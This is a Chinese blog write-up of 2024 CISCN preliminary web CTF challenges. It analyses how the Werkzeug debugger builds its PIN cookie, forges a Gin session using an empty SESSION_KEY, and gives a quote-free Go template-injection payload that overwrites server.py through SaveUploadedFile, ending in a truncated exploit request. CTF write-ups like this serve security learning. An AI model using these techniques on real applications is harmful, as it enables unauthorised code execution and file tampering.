[2024CISCN]国赛初赛WEB题目复现_2024国赛初赛unzip题目复现

m0_74918915 2024-06-16 08:33:03 阅读 88

codeprobably_public_bits = [ username, # 当前的系统用户名 modname, # 应用模块的名称 getattr(app, "\_\_name\_\_", type(app).__name__), # 应用的名称 getattr(mod, "\_\_file\_\_", None), # 应用模块的文件位置 ] 收集私有信息: 这些信息被视为更加私有,并且不太可能在没有验证的调试页面中被公开。这增加了攻击者猜测cookie名称的难度。

private_bits = [str(uuid.getnode()), get_machine_id()]

其中uuid.getnode()返回机器的硬件地址(MAC地址),而get_machine_id()返回特定于平台的唯一ID。

4. 哈希所有的信息: 将所有上述信息串联并进行哈希,得到一个SHA1哈希值。

codefor bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit)h.update(b"cookiesalt")

这里,chain(probably_public_bits, private_bits)函数将公开信息和私有信息合并为一个序列,然后这个序列中的每一项都被加入到哈希中。

h.update(b"cookiesalt")添加了一个额外的“salt”值,以确保最终的哈希值是独特的。

5. 生成cookie名称:

cookie_name = f"__wzd{h.hexdigest()[:20]}"

将哈希值转换为16进制的字符串形式,并从中取出前20个字符。然后,它前面添加了"__wzd"前缀来生成最终的cookie_name

再通过查找cookie_name关键字,找到set_cookie方法

通过观察可知,cookie的值是通过时间戳+pin码的hash,由"|"符号拼接而来的

再去看看验证逻辑

def check\_pin\_trust(self, environ: WSGIEnvironment) -> bool | None: """Checks if the request passed the pin test. This returns `True` if the request is trusted on a pin/cookie basis and returns `False` if not. Additionally if the cookie's stored pin hash is wrong it will return `None` so that appropriate action can be taken. """ if self.pin is None: return True val = parse_cookie(environ).get(self.pin_cookie_name) if not val or "|" not in val: return False ts_str, pin_hash = val.split("|", 1) try: ts = int(ts_str) except ValueError: return False if pin_hash != hash_pin(self.pin): return None return (time.time() - PIN_TIME) < ts

不难看出,由于时间戳是明文,所以伪造一个大一点的时间戳即可绕过检验。因为hash算法就在代码里,所以下后面就是如何找出伪造pin码的几个要素。

一般来说,需要通过报错来获取信息,但是不管对name怎么fuzz,由于传参限制都无法报错。看了其他师傅的wp后才发现,可以使得name参数为空来报错。。。。

报错信息中,有用的除了一些路径外,值得注意的是这几行

File "/app/server.py", line 7, in index app = Flask(__name__)@app.route('/')def index(): name = request.args['name'] return name + " no ssti" if __name__ == "\_\_main\_\_": app.run(host="127.0.0.1", port=5000, debug=True)

无法ssti,也没什么用。

又坐牢了一段时间,无奈之下又只能瞅一瞅师傅们的wp,好家伙,原来SESSION_KEY是空的,逗人玩呢。

那就修改一下Admin的路由,用来获取admin的session

session.Values["name"] = "admin"err = session.Save(c.Request, c.Writer)

拿着伪造的session去访问靶机的admin路由,提示我们用ssti,那就ssti

经过检验确实存在ssti,但这里不是python的ssti,是go的ssti,网上大多提到了{ {.}}来获取全局变量,但对这道题来说没什么用

换个思路,既然ssti是代码执行的话,那就用go来进行RCE不就行了

但是xssWaf := html.EscapeString(name)会转义引号,所以payload里不能用引号,寻找思路类似于PHP的无字母数字RCE

前面通过session伪造pin的思路不对或者太麻烦(因为没找到能不用引号的payload),思路转换为替换server.py文件,需要用到以下几个方法:

c.SaveUploadedFile(file *multipart.FileHeader, dst string)

保存上传的文件

c.FormFile(name string)

获取上传的文件

c.HandlerName()

获取正在处理的路由的处理函数名称,这里为main.Admin

c.Request.Referer():

获取Referer头

构造以下payload

c.SaveUploadedFile(c.FormFile(c.HandlerName()),c.Request.Referer())

最终HTTP请求体

GET /admin?name=%7b%7bc.SaveUploadedFile(c.FormFile(c.HandlerName())%2cc.Request.Referer())%7d%7d HTTP/1.1Host: d5d0420f-1268-449d-a3df-00307c395edd.challenge.ctf.showCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。